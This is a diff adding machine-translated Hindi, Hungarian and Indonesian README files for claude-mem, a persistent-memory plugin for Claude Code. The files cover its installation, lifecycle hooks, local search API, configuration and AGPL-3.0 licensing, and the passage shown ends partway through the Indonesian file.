+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Claude Code के लिए बनाई गई स्थायी मेमोरी संपीड़न प्रणाली।

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ त्वरित शुरुआत • + यह कैसे काम करता है • + खोज उपकरण • + दस्तावेज़ीकरण • + कॉन्फ़िगरेशन • + समस्या निवारण • + लाइसेंस +

+ +

+ Claude-Mem स्वचालित रूप से टूल उपयोग अवलोकनों को कैप्चर करके, सिमेंटिक सारांश उत्पन्न करके, और उन्हें भविष्य के सत्रों के लिए उपलब्ध कराकर सत्रों में संदर्भ को निर्बाध रूप से संरक्षित करता है। यह Claude को परियोजनाओं के बारे में ज्ञान की निरंतरता बनाए रखने में सक्षम बनाता है, भले ही सत्र समाप्त हो जाएं या पुनः कनेक्ट हो जाएं। +

+ +--- + +## त्वरित शुरुआत + +टर्मिनल में एक नया Claude Code सत्र शुरू करें और निम्नलिखित कमांड दर्ज करें: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Claude Code को पुनः आरंभ करें। पिछले सत्रों का संदर्भ स्वचालित रूप से नए सत्रों में दिखाई देगा। + +**मुख्य विशेषताएं:** + +- 🧠 **स्थायी मेमोरी** - संदर्भ सत्रों में बना रहता है +- 📊 **प्रगतिशील प्रकटीकरण** - टोकन लागत दृश्यता के साथ स्तरित मेमोरी पुनर्प्राप्ति +- 🔍 **स्किल-आधारित खोज** - mem-search स्किल के साथ अपने प्रोजेक्ट इतिहास को क्वेरी करें +- 🖥️ **वेब व्यूअर UI** - http://localhost:37777 पर रीयल-टाइम मेमोरी स्ट्रीम +- 💻 **Claude Desktop स्किल** - Claude Desktop वार्तालापों से मेमोरी खोजें +- 🔒 **गोपनीयता नियंत्रण** - संवेदनशील सामग्री को स्टोरेज से बाहर रखने के लिए `` टैग का उपयोग करें +- ⚙️ **संदर्भ कॉन्फ़िगरेशन** - किस संदर्भ को इंजेक्ट किया जाता है, इस पर सूक्ष्म नियंत्रण +- 🤖 **स्वचालित संचालन** - मैन्युअल हस्तक्षेप की आवश्यकता नहीं +- 🔗 **उद्धरण** - IDs के साथ पिछले अवलोकनों का संदर्भ दें (http://localhost:37777/api/observation/{id} के माध्यम से एक्सेस करें या http://localhost:37777 पर वेब व्यूअर में सभी देखें) +- 🧪 **बीटा चैनल** - संस्करण स्विचिंग के माध्यम से Endless Mode जैसी प्रायोगिक सुविधाओं को आज़माएं + +--- + +## दस्तावेज़ीकरण + +📚 **[पूर्ण दस्तावेज़ीकरण देखें](docs/)** - GitHub पर markdown दस्तावेज़ ब्राउज़ करें + +### शुरुआत करना + +- **[इंस्टॉलेशन गाइड](https://docs.claude-mem.ai/installation)** - त्वरित शुरुआत और उन्नत इंस्टॉलेशन +- **[उपयोग गाइड](https://docs.claude-mem.ai/usage/getting-started)** - Claude-Mem स्वचालित रूप से कैसे काम करता है +- **[खोज उपकरण](https://docs.claude-mem.ai/usage/search-tools)** - प्राकृतिक भाषा के साथ अपने प्रोजेक्ट इतिहास को क्वेरी करें +- **[बीटा सुविधाएं](https://docs.claude-mem.ai/beta-features)** - Endless Mode जैसी प्रायोगिक सुविधाओं को आज़माएं + +### सर्वोत्तम अभ्यास + +- **[संदर्भ इंजीनियरिंग](https://docs.claude-mem.ai/context-engineering)** - AI एजेंट संदर्भ अनुकूलन सिद्धांत +- **[प्रगतिशील प्रकटीकरण](https://docs.claude-mem.ai/progressive-disclosure)** - Claude-Mem की संदर्भ प्राइमिंग रणनीति के पीछे का दर्शन + +### आर्किटेक्चर + +- **[अवलोकन](https://docs.claude-mem.ai/architecture/overview)** - सिस्टम घटक और डेटा प्रवाह +- **[आर्किटेक्चर विकास](https://docs.claude-mem.ai/architecture-evolution)** - v3 से v5 तक की यात्रा +- **[Hooks आर्किटेक्चर](https://docs.claude-mem.ai/hooks-architecture)** - Claude-Mem जीवनचक्र hooks का उपयोग कैसे करता है +- **[Hooks संदर्भ](https://docs.claude-mem.ai/architecture/hooks)** - 7 hook स्क्रिप्ट समझाई गई +- **[Worker सेवा](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API और Bun प्रबंधन +- **[डेटाबेस](https://docs.claude-mem.ai/architecture/database)** - SQLite स्कीमा और FTS5 खोज +- **[खोज आर्किटेक्चर](https://docs.claude-mem.ai/architecture/search-architecture)** - Chroma वेक्टर डेटाबेस के साथ हाइब्रिड खोज + +### कॉन्फ़िगरेशन और विकास + +- **[कॉन्फ़िगरेशन](https://docs.claude-mem.ai/configuration)** - पर्यावरण चर और सेटिंग्स +- **[विकास](https://docs.claude-mem.ai/development)** - बिल्डिंग, परीक्षण, योगदान +- **[समस्या निवारण](https://docs.claude-mem.ai/troubleshooting)** - सामान्य समस्याएं और समाधान + +--- + +## यह कैसे काम करता है + +**मुख्य घटक:** + +1. **5 जीवनचक्र Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook स्क्रिप्ट) +2. **स्मार्ट इंस्टॉल** - कैश्ड डिपेंडेंसी चेकर (pre-hook स्क्रिप्ट, जीवनचक्र hook नहीं) +3. **Worker सेवा** - वेब व्यूअर UI और 10 खोज endpoints के साथ पोर्ट 37777 पर HTTP API, Bun द्वारा प्रबंधित +4. **SQLite डेटाबेस** - सत्र, अवलोकन, सारांश संग्रहीत करता है +5. **mem-search स्किल** - प्रगतिशील प्रकटीकरण के साथ प्राकृतिक भाषा क्वेरी +6. **Chroma वेक्टर डेटाबेस** - बुद्धिमान संदर्भ पुनर्प्राप्ति के लिए हाइब्रिड सिमेंटिक + कीवर्ड खोज + +विवरण के लिए [आर्किटेक्चर अवलोकन](https://docs.claude-mem.ai/architecture/overview) देखें। + +--- + +## mem-search स्किल + +Claude-Mem mem-search स्किल के माध्यम से बुद्धिमान खोज प्रदान करता है जो स्वचालित रूप से सक्रिय हो जाती है जब आप पिछले काम के बारे में पूछते हैं: + +**यह कैसे काम करता है:** +- बस स्वाभाविक रूप से पूछें: *"हमने पिछले सत्र में क्या किया?"* या *"क्या हमने पहले इस बग को ठीक किया था?"* +- Claude स्वचालित रूप से प्रासंगिक संदर्भ खोजने के लिए mem-search स्किल को सक्रिय करता है + +**उपलब्ध खोज संचालन:** + +1. **अवलोकन खोजें** - अवलोकनों में पूर्ण-पाठ खोज +2. **सत्र खोजें** - सत्र सारांशों में पूर्ण-पाठ खोज +3. **प्रॉम्प्ट खोजें** - कच्चे उपयोगकर्ता अनुरोध खोजें +4. **अवधारणा द्वारा** - अवधारणा टैग द्वारा खोजें (discovery, problem-solution, pattern, आदि) +5. **फ़ाइल द्वारा** - विशिष्ट फ़ाइलों का संदर्भ देने वाले अवलोकन खोजें +6. **प्रकार द्वारा** - प्रकार द्वारा खोजें (decision, bugfix, feature, refactor, discovery, change) +7. **हालिया संदर्भ** - एक प्रोजेक्ट के लिए हालिया सत्र संदर्भ प्राप्त करें +8. **टाइमलाइन** - समय में एक विशिष्ट बिंदु के आसपास संदर्भ की एकीकृत टाइमलाइन प्राप्त करें +9. **क्वेरी द्वारा टाइमलाइन** - अवलोकनों को खोजें और सर्वश्रेष्ठ मिलान के आसपास टाइमलाइन संदर्भ प्राप्त करें +10. **API सहायता** - खोज API दस्तावेज़ीकरण प्राप्त करें + +**प्राकृतिक भाषा क्वेरी के उदाहरण:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +विस्तृत उदाहरणों के लिए [खोज उपकरण गाइड](https://docs.claude-mem.ai/usage/search-tools) देखें। + +--- + +## बीटा सुविधाएं + +Claude-Mem **बीटा चैनल** के साथ **Endless Mode** (विस्तारित सत्रों के लिए बायोमिमेटिक मेमोरी आर्किटेक्चर) जैसी प्रायोगिक सुविधाएं प्रदान करता है। http://localhost:37777 → Settings पर वेब व्यूअर UI से स्थिर और बीटा संस्करणों के बीच स्विच करें। + +Endless Mode के विवरण और इसे आज़माने के तरीके के लिए **[बीटा सुविधाएं दस्तावेज़ीकरण](https://docs.claude-mem.ai/beta-features)** देखें। + +--- + +## सिस्टम आवश्यकताएं + +- **Node.js**: 18.0.0 या उच्चतर +- **Claude Code**: प्लगइन समर्थन के साथ नवीनतम संस्करण +- **Bun**: JavaScript रनटाइम और प्रोसेस मैनेजर (यदि गायब हो तो ऑटो-इंस्टॉल) +- **uv**: वेक्टर खोज के लिए Python पैकेज मैनेजर (यदि गायब हो तो ऑटो-इंस्टॉल) +- **SQLite 3**: स्थायी स्टोरेज के लिए (बंडल किया गया) + +--- + +## कॉन्फ़िगरेशन + +सेटिंग्स `~/.claude-mem/settings.json` में प्रबंधित की जाती हैं (पहली बार चलने पर डिफ़ॉल्ट के साथ ऑटो-निर्मित)। AI मॉडल, worker पोर्ट, डेटा डायरेक्टरी, लॉग स्तर, और संदर्भ इंजेक्शन सेटिंग्स कॉन्फ़िगर करें। + +सभी उपलब्ध सेटिंग्स और उदाहरणों के लिए **[कॉन्फ़िगरेशन गाइड](https://docs.claude-mem.ai/configuration)** देखें। + +--- + +## विकास + +बिल्ड निर्देश, परीक्षण, और योगदान वर्कफ़्लो के लिए **[विकास गाइड](https://docs.claude-mem.ai/development)** देखें। + +--- + +## समस्या निवारण + +यदि समस्याओं का सामना कर रहे हैं, तो Claude को समस्या का वर्णन करें और troubleshoot स्किल स्वचालित रूप से निदान करेगी और सुधार प्रदान करेगी। + +सामान्य समस्याओं और समाधानों के लिए **[समस्या निवारण गाइड](https://docs.claude-mem.ai/troubleshooting)** देखें। + +--- + +## बग रिपोर्ट + +स्वचालित जेनरेटर के साथ व्यापक बग रिपोर्ट बनाएं: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## योगदान + +योगदान का स्वागत है! कृपया: + +1. रिपॉजिटरी को Fork करें +2. एक feature ब्रांच बनाएं +3. परीक्षणों के साथ अपने परिवर्तन करें +4. दस्तावेज़ीकरण अपडेट करें +5. एक Pull Request सबमिट करें + +योगदान वर्कफ़्लो के लिए [विकास गाइड](https://docs.claude-mem.ai/development) देखें। + +--- + +## लाइसेंस + +यह प्रोजेक्ट **GNU Affero General Public License v3.0** (AGPL-3.0) के तहत लाइसेंस प्राप्त है। + +Copyright (C) 2025 Alex Newman (@thedotmack)। सर्वाधिकार सुरक्षित। + +पूर्ण विवरण के लिए [LICENSE](LICENSE) फ़ाइल देखें। + +**इसका क्या अर्थ है:** + +- आप इस सॉफ़्टवेयर को स्वतंत्र रूप से उपयोग, संशोधित और वितरित कर सकते हैं +- यदि आप नेटवर्क सर्वर पर संशोधित और तैनात करते हैं, तो आपको अपना स्रोत कोड उपलब्ध कराना होगा +- व्युत्पन्न कार्यों को भी AGPL-3.0 के तहत लाइसेंस प्राप्त होना चाहिए +- इस सॉफ़्टवेयर के लिए कोई वारंटी नहीं है + +**Ragtime पर नोट**: `ragtime/` डायरेक्टरी को **PolyForm Noncommercial License 1.0.0** के तहत अलग से लाइसेंस प्राप्त है। विवरण के लिए [ragtime/LICENSE](ragtime/LICENSE) देखें। + +--- + +## समर्थन + +- **दस्तावेज़ीकरण**: [docs/](docs/) +- **समस्याएं**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **रिपॉजिटरी**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **लेखक**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Claude Agent SDK के साथ निर्मित** | **Claude Code द्वारा संचालित** | **TypeScript के साथ बनाया गया** + +--- \ No newline at end of file diff --git a/docs/i18n/README.hu.md b/docs/i18n/README.hu.md new file mode 100644 index 00000000..439c09a3 --- /dev/null +++ b/docs/i18n/README.hu.md @@ -0,0 +1,302 @@ +🌐 Ez egy automatikus fordítás. Közösségi javítások szívesen fogadottak! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Tartós memória tömörítési rendszer a Claude Code számára.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Gyors kezdés • + Hogyan működik • + Keresési eszközök • + Dokumentáció • + Konfiguráció • + Hibaelhárítás • + Licenc +

+ +

+ A Claude-Mem zökkenőmentesen megőrzi a kontextust munkamenetek között azáltal, hogy automatikusan rögzíti az eszközhasználati megfigyeléseket, szemantikus összefoglalókat generál, és elérhetővé teszi azokat a jövőbeli munkamenetekben. Ez lehetővé teszi Claude számára, hogy fenntartsa a projektekkel kapcsolatos tudás folytonosságát még a munkamenetek befejezése vagy újracsatlakozása után is. +

+ +--- + +## Gyors kezdés + +Indítson el egy új Claude Code munkamenetet a terminálban, és írja be a következő parancsokat: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Indítsa újra a Claude Code-ot. A korábbi munkamenetek kontextusa automatikusan megjelenik az új munkamenetekben. + +**Főbb jellemzők:** + +- 🧠 **Tartós memória** - A kontextus túléli a munkameneteket +- 📊 **Progresszív felfedés** - Többrétegű memória-visszakeresés token költség láthatósággal +- 🔍 **Skill-alapú keresés** - Lekérdezheti projekt előzményeit a mem-search skill segítségével +- 🖥️ **Webes megjelenítő felület** - Valós idejű memória stream a http://localhost:37777 címen +- 💻 **Claude Desktop Skill** - Memória keresése Claude Desktop beszélgetésekből +- 🔒 **Adatvédelmi kontroll** - Használja a `` címkéket az érzékeny tartalom kizárásához +- ⚙️ **Kontextus konfiguráció** - Finomhangolt kontroll afelett, hogy milyen kontextus kerül beillesztésre +- 🤖 **Automatikus működés** - Nincs szükség manuális beavatkozásra +- 🔗 **Hivatkozások** - Hivatkozás múltbeli megfigyelésekre ID-kkal (hozzáférés: http://localhost:37777/api/observation/{id} vagy mindegyik megtekintése a webes felületen a http://localhost:37777 címen) +- 🧪 **Béta csatorna** - Kísérleti funkciók, mint az Endless Mode kipróbálása verziócserével + +--- + +## Dokumentáció + +📚 **[Teljes dokumentáció megtekintése](docs/)** - Markdown dokumentumok böngészése GitHub-on + +### Első lépések + +- **[Telepítési útmutató](https://docs.claude-mem.ai/installation)** - Gyors indítás és haladó telepítés +- **[Használati útmutató](https://docs.claude-mem.ai/usage/getting-started)** - Hogyan működik automatikusan a Claude-Mem +- **[Keresési eszközök](https://docs.claude-mem.ai/usage/search-tools)** - Projekt előzmények lekérdezése természetes nyelvvel +- **[Béta funkciók](https://docs.claude-mem.ai/beta-features)** - Kísérleti funkciók, mint az Endless Mode kipróbálása + +### Bevált gyakorlatok + +- **[Kontextus tervezés](https://docs.claude-mem.ai/context-engineering)** - AI ügynök kontextus optimalizálási elvek +- **[Progresszív felfedés](https://docs.claude-mem.ai/progressive-disclosure)** - A Claude-Mem kontextus előkészítési stratégiájának filozófiája + +### Architektúra + +- **[Áttekintés](https://docs.claude-mem.ai/architecture/overview)** - Rendszerkomponensek és adatfolyam +- **[Architektúra fejlődés](https://docs.claude-mem.ai/architecture-evolution)** - Az út a v3-tól a v5-ig +- **[Hooks architektúra](https://docs.claude-mem.ai/hooks-architecture)** - Hogyan használja a Claude-Mem az életciklus hookokat +- **[Hooks referencia](https://docs.claude-mem.ai/architecture/hooks)** - 7 hook szkript magyarázata +- **[Worker szolgáltatás](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API és Bun kezelés +- **[Adatbázis](https://docs.claude-mem.ai/architecture/database)** - SQLite séma és FTS5 keresés +- **[Keresési architektúra](https://docs.claude-mem.ai/architecture/search-architecture)** - Hibrid keresés Chroma vektor adatbázissal + +### Konfiguráció és fejlesztés + +- **[Konfiguráció](https://docs.claude-mem.ai/configuration)** - Környezeti változók és beállítások +- **[Fejlesztés](https://docs.claude-mem.ai/development)** - Építés, tesztelés, hozzájárulás +- **[Hibaelhárítás](https://docs.claude-mem.ai/troubleshooting)** - Gyakori problémák és megoldások + +--- + +## Hogyan működik + +**Fő komponensek:** + +1. **5 életciklus hook** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook szkript) +2. **Intelligens telepítés** - Gyorsítótárazott függőség ellenőrző (pre-hook szkript, nem életciklus hook) +3. **Worker szolgáltatás** - HTTP API a 37777-es porton webes megjelenítő felülettel és 10 keresési végponttal, Bun által kezelve +4. **SQLite adatbázis** - Munkamenetek, megfigyelések, összefoglalók tárolása +5. **mem-search Skill** - Természetes nyelvi lekérdezések progresszív felfedéssel +6. **Chroma vektor adatbázis** - Hibrid szemantikus + kulcsszó keresés intelligens kontextus visszakereséshez + +További részletekért lásd az [Architektúra áttekintést](https://docs.claude-mem.ai/architecture/overview). + +--- + +## mem-search Skill + +A Claude-Mem intelligens keresést biztosít a mem-search skillen keresztül, amely automatikusan aktiválódik, amikor múltbeli munkáról kérdez: + +**Hogyan működik:** +- Csak kérdezzen természetesen: *"Mit csináltunk az előző munkamenetben?"* vagy *"Javítottuk már ezt a hibát korábban?"* +- Claude automatikusan meghívja a mem-search skillet a releváns kontextus megtalálásához + +**Elérhető keresési műveletek:** + +1. **Megfigyelések keresése** - Teljes szöveges keresés a megfigyelésekben +2. **Munkamenetek keresése** - Teljes szöveges keresés munkamenet összefoglalókban +3. **Promptok keresése** - Nyers felhasználói kérések keresése +4. **Koncepció szerint** - Keresés koncepció címkék alapján (discovery, problem-solution, pattern, stb.) +5. **Fájl szerint** - Adott fájlokra hivatkozó megfigyelések keresése +6. **Típus szerint** - Keresés típus alapján (decision, bugfix, feature, refactor, discovery, change) +7. **Legutóbbi kontextus** - Legutóbbi munkamenet kontextus lekérése egy projekthez +8. **Idővonal** - Egységes idővonal kontextus lekérése egy adott időpont körül +9. **Idővonal lekérdezéssel** - Megfigyelések keresése és idővonal kontextus lekérése a legjobb találat körül +10. **API segítség** - Keresési API dokumentáció lekérése + +**Példa természetes nyelvi lekérdezésekre:** + +``` +"Milyen hibákat javítottunk az előző munkamenetben?" +"Hogyan implementáltuk az autentikációt?" +"Milyen változtatások történtek a worker-service.ts fájlban?" +"Mutasd a legutóbbi munkát ezen a projekten" +"Mi történt, amikor hozzáadtuk a megjelenítő felületet?" +``` + +Részletes példákért lásd a [Keresési eszközök útmutatót](https://docs.claude-mem.ai/usage/search-tools). + +--- + +## Béta funkciók + +A Claude-Mem **béta csatornát** kínál kísérleti funkciókkal, mint az **Endless Mode** (biomimetikus memória architektúra hosszabb munkamenetekhez). Váltson a stabil és béta verziók között a webes megjelenítő felületről a http://localhost:37777 → Settings címen. + +További részletekért az Endless Mode-ról és annak kipróbálásáról lásd a **[Béta funkciók dokumentációt](https://docs.claude-mem.ai/beta-features)**. + +--- + +## Rendszerkövetelmények + +- **Node.js**: 18.0.0 vagy újabb +- **Claude Code**: Legújabb verzió plugin támogatással +- **Bun**: JavaScript futtatókörnyezet és folyamatkezelő (automatikusan települ, ha hiányzik) +- **uv**: Python csomagkezelő vektor kereséshez (automatikusan települ, ha hiányzik) +- **SQLite 3**: Tartós tároláshoz (mellékelve) + +--- + +## Konfiguráció + +A beállítások a `~/.claude-mem/settings.json` fájlban kezelhetők (automatikusan létrejön alapértelmezett értékekkel az első futtatáskor). Konfigurálható az AI modell, worker port, adatkönyvtár, naplózási szint és kontextus beillesztési beállítások. + +Az összes elérhető beállításért és példákért lásd a **[Konfigurációs útmutatót](https://docs.claude-mem.ai/configuration)**. + +--- + +## Fejlesztés + +Az építési utasításokért, tesztelésért és hozzájárulási munkafolyamatért lásd a **[Fejlesztési útmutatót](https://docs.claude-mem.ai/development)**. + +--- + +## Hibaelhárítás + +Problémák esetén írja le a problémát Claude-nak, és a troubleshoot skill automatikusan diagnosztizálja és javítási megoldásokat kínál. + +Gyakori problémákért és megoldásokért lásd a **[Hibaelhárítási útmutatót](https://docs.claude-mem.ai/troubleshooting)**. + +--- + +## Hibajelentések + +Átfogó hibajelentések készítése az automatikus generátorral: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Hozzájárulás + +A hozzájárulásokat szívesen fogadjuk! Kérjük: + +1. Fork-olja a tárolót +2. Hozzon létre egy feature branchet +3. Végezze el változtatásait tesztekkel +4. Frissítse a dokumentációt +5. Nyújtson be egy Pull Requestet + +A hozzájárulási munkafolyamatért lásd a [Fejlesztési útmutatót](https://docs.claude-mem.ai/development). + +--- + +## Licenc + +Ez a projekt a **GNU Affero General Public License v3.0** (AGPL-3.0) alatt licencelt. + +Copyright (C) 2025 Alex Newman (@thedotmack). Minden jog fenntartva. + +A teljes részletekért lásd a [LICENSE](LICENSE) fájlt. + +**Mit jelent ez:** + +- Szabadon használhatja, módosíthatja és terjesztheti ezt a szoftvert +- Ha módosítja és hálózati szerveren telepíti, elérhetővé kell tennie a forráskódot +- A származékos munkáknak szintén AGPL-3.0 alatt kell licencelve lenniük +- Ehhez a szoftverhez NINCS GARANCIA + +**Megjegyzés a Ragtime-ról**: A `ragtime/` könyvtár külön licencelt a **PolyForm Noncommercial License 1.0.0** alatt. Részletekért lásd a [ragtime/LICENSE](ragtime/LICENSE) fájlt. + +--- + +## Támogatás + +- **Dokumentáció**: [docs/](docs/) +- **Hibák**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Tároló**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Szerző**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Claude Agent SDK-val építve** | **Claude Code által hajtva** | **TypeScript-tel készítve** \ No newline at end of file diff --git a/docs/i18n/README.id.md b/docs/i18n/README.id.md new file mode 100644 index 00000000..7cd4b8f9 --- /dev/null +++ b/docs/i18n/README.id.md @@ -0,0 +1,304 @@ +🌐 Ini adalah terjemahan otomatis. Koreksi dari komunitas sangat dipersilakan! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Sistem kompresi memori persisten yang dibangun untuk Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Mulai Cepat • + Cara Kerja • + Alat Pencarian • + Dokumentasi • + Konfigurasi • + Pemecahan Masalah • + Lisensi +

+ +

+ Claude-Mem secara mulus mempertahankan konteks di seluruh sesi dengan secara otomatis menangkap observasi penggunaan alat, menghasilkan ringkasan semantik, dan membuatnya tersedia untuk sesi mendatang. Ini memungkinkan Claude untuk mempertahankan kontinuitas pengetahuan tentang proyek bahkan setelah sesi berakhir atau tersambung kembali. +

+ +--- + +## Mulai Cepat + +Mulai sesi Claude Code baru di terminal dan masukkan perintah berikut: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Restart Claude Code. Konteks dari sesi sebelumnya akan secara otomatis muncul di sesi baru. + +**Fitur Utama:** + +- 🧠 **Memori Persisten** - Konteks bertahan di seluruh sesi +- 📊 **Progressive Disclosure** - Pengambilan memori berlapis dengan visibilitas biaya token +- 🔍 **Pencarian Berbasis Skill** - Query riwayat proyek Anda dengan mem-search skill +- 🖥️ **Web Viewer UI** - Stream memori real-time di http://localhost:37777 +- 💻 **Claude Desktop Skill** - Cari memori dari percakapan Claude Desktop +- 🔒 **Kontrol Privasi** - Gunakan tag `` untuk mengecualikan konten sensitif dari penyimpanan +- ⚙️ **Konfigurasi Konteks** - Kontrol yang detail atas konteks apa yang diinjeksikan +- 🤖 **Operasi Otomatis** - Tidak memerlukan intervensi manual +- 🔗 **Kutipan** - Referensi observasi masa lalu dengan ID (akses melalui http://localhost:37777/api/observation/{id} atau lihat semua di web viewer di http://localhost:37777) +- 🧪 **Beta Channel** - Coba fitur eksperimental seperti Endless Mode melalui peralihan versi + +--- + +## Dokumentasi + +📚 **[Lihat Dokumentasi Lengkap](docs/)** - Telusuri dokumen markdown di GitHub + +### Memulai + +- **[Panduan Instalasi](https://docs.claude-mem.ai/installation)** - Mulai cepat & instalasi lanjutan +- **[Panduan Penggunaan](https://docs.claude-mem.ai/usage/getting-started)** - Bagaimana Claude-Mem bekerja secara otomatis +- **[Alat Pencarian](https://docs.claude-mem.ai/usage/search-tools)** - Query riwayat proyek Anda dengan bahasa alami +- **[Fitur Beta](https://docs.claude-mem.ai/beta-features)** - Coba fitur eksperimental seperti Endless Mode + +### Praktik Terbaik + +- **[Context Engineering](https://docs.claude-mem.ai/context-engineering)** - Prinsip optimisasi konteks agen AI +- **[Progressive Disclosure](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofi di balik strategi priming konteks Claude-Mem + +### Arsitektur + +- **[Ringkasan](https://docs.claude-mem.ai/architecture/overview)** - Komponen sistem & aliran data +- **[Evolusi Arsitektur](https://docs.claude-mem.ai/architecture-evolution)** - Perjalanan dari v3 ke v5 +- **[Arsitektur Hooks](https://docs.claude-mem.ai/hooks-architecture)** - Bagaimana Claude-Mem menggunakan lifecycle hooks +- **[Referensi Hooks](https://docs.claude-mem.ai/architecture/hooks)** - 7 skrip hook dijelaskan +- **[Worker Service](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API & manajemen Bun +- **[Database](https://docs.claude-mem.ai/architecture/database)** - Skema SQLite & pencarian FTS5 +- **[Arsitektur Pencarian](https://docs.claude-mem.ai/architecture/search-architecture)** - Pencarian hybrid dengan database vektor Chroma + +### Konfigurasi & Pengembangan + +- **[Konfigurasi](https://docs.claude-mem.ai/configuration)** - Variabel environment & pengaturan +- **[Pengembangan](https://docs.claude-mem.ai/development)** - Membangun, testing, kontribusi +- **[Pemecahan Masalah](https://docs.claude-mem.ai/troubleshooting)** - Masalah umum & solusi + +--- + +## Cara Kerja + +**Komponen Inti:** + +1. **5 Lifecycle Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 skrip hook) +2. **Smart Install** - Pemeriksa dependensi yang di-cache (skrip pre-hook, bukan lifecycle hook) +3. **Worker Service** - HTTP API di port 37777 dengan web viewer UI dan 10 endpoint pencarian, dikelola oleh Bun +4. **SQLite Database** - Menyimpan sesi, observasi, ringkasan +5. **mem-search Skill** - Query bahasa alami dengan progressive disclosure +6. **Chroma Vector Database** - Pencarian hybrid semantik + keyword untuk pengambilan konteks yang cerdas + +Lihat [Ringkasan Arsitektur](https://docs.claude-mem.ai/architecture/overview) untuk detail. + +--- + +## mem-search Skill + +Claude-Mem menyediakan pencarian cerdas melalui mem-search skill yang secara otomatis dipanggil saat Anda bertanya tentang pekerjaan masa lalu: + +**Cara Kerja:** +- Tanya saja secara alami: *"Apa yang kita lakukan sesi terakhir?"* atau *"Apakah kita sudah memperbaiki bug ini sebelumnya?"* +- Claude secara otomatis memanggil mem-search skill untuk menemukan konteks yang relevan + +**Operasi Pencarian yang Tersedia:** + +1. **Search Observations** - Pencarian teks lengkap di seluruh observasi +2. **Search Sessions** - Pencarian teks lengkap di seluruh ringkasan sesi +3. **Search Prompts** - Cari permintaan pengguna mentah +4. **By Concept** - Temukan berdasarkan tag konsep (discovery, problem-solution, pattern, dll.) +5. **By File** - Temukan observasi yang mereferensikan file tertentu +6. **By Type** - Temukan berdasarkan tipe (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Dapatkan konteks sesi terbaru untuk sebuah proyek +8. **Timeline** - Dapatkan timeline terpadu dari konteks di sekitar titik waktu tertentu +9. **Timeline by Query** - 